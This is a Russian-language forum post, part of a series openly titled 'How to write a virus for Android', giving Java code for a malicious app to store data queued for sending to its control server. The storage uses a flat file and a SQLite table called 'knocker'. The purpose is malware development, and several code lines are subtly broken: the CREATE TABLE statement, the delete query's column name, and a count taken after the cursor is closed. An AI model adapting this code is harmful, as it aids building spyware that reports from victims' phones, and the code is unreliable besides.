Как написать вирус для Андроид. Часть 4

Тема в разделе "Вирусология", создана пользователем Admin, 10 окт 2016.

  1. Admin

    Admin Голова лаборатории

    Сообщения:
    455
    Симпатии:
    280
    [​IMG]
    Метод плоских файлов
    Дописывать в конец файла, а при отправке очищать файл. Структура файла:
    Код:
    {json}\n
    {json}\n
    .........
    {json}\n
    Код чтения всего файла:
    Код:
    File fl = new File(filePath);
    FileInputStream fin = new FileInputStream(fl);
    String ret = convertStreamToString(fin);
    fin.close();
    Код:
    try {
       FileWriter fw = new FileWriter(filePath, true);
       fw.write(Value + "\n");
       fw.close();
    } catch (IOException ioe) {
    }
    
    Тут ничего сложного: читай, пиши. Есть одно “Но”. Мы работаем в потоках, и может случиться одновременная запись и удаление, а это надо контролировать. Но мы же спецы, нам надо сделать чтобы было круто. И мы переходим к базам данных.

    Mysqli или как хранить данные по ФенШую
    Мы рассмотрим работу с базой данных на примере чтения и записи. У нас простая табличка, где будут ID и StringJSON, которую после отправки мы будем очищать.
    Код:
    public class KNOCKERDatabase extends SQLiteOpenHelper {
       private static final int DATABASE_VERSION = 1;
       private static final String DATABASE_NAME = "knocker";
       private static final String TABLE_KNOCKER = "knocker";
       private static final String KEY_ID = "id";
       private static final String KEY_JSON = "stringjson";
       public KNOCKERDatabase(Context context) {
           super(context, DATABASE_NAME, null, DATABASE_VERSION);
       }
       @Override
       public void onCreate(SQLiteDatabase db) {
           String CREATE_TABLE = "CREATE TABLE " + TABLE_KNOCKER + "("
                   + KEY_ID + " INTEGER PRIMARY KEY,"
                   + KEY_JSON + " TEXT,"
                   + ")";
           db.execSQL(CREATE_TABLE);
       }
       void addJson(String json) {
           SQLiteDatabase db = this.getWritableDatabase();
           ContentValues values = new ContentValues();
           values.put(KEY_JSON, json);
           db.insert(TABLE_KNOCKER, null, values);
           db.close();
       }
       public List<String> getAllJson() {
           List<String> jsons = new ArrayList<String>();
           String selectQuery = "SELECT  * FROM " + TABLE_KNOCKER;
           SQLiteDatabase db = this.getWritableDatabase();
           Cursor cursor = db.rawQuery(selectQuery, null);
           if (cursor.moveToFirst()) {
               do {
                   jsons.add(cursor.getString(1));
               } while (cursor.moveToNext());
           }
           return jsons;
       }
       public void deleteRows(String num) {
           SQLiteDatabase db = this.getWritableDatabase();
    String del ="delete from " + TABLE_KNOCKER + " where " + KEY_ID + " in (select " + KEY_ID + " from " + TABLE_KNOCKER + " order by _id LIMIT " + num + ");";
           db.execSQL(del);
           db.close();
       }
       public int getCount() {
           String countQuery = "SELECT  * FROM " + TABLE_KNOCKER;
           SQLiteDatabase db = this.getReadableDatabase();
           Cursor cursor = db.rawQuery(countQuery, null);
           cursor.close();
           return cursor.getCount();
       }
    }
    Теперь можно перейти к практике, как это использовать.
    Шаг первый. Запись.
    Код:
    KNOCKERDatabase db = new KNOCKERDatabase(context);
    db.addJson(DATA);
    Где DATA – это запрос для отправки на сервер.
    Шаг второй. Чтение.
    После прочтения записей, считаем их количество (через getCount), чтобы не удалить лишнее и избавляемся от них через deleteRows.

    Всем хороших отстуков.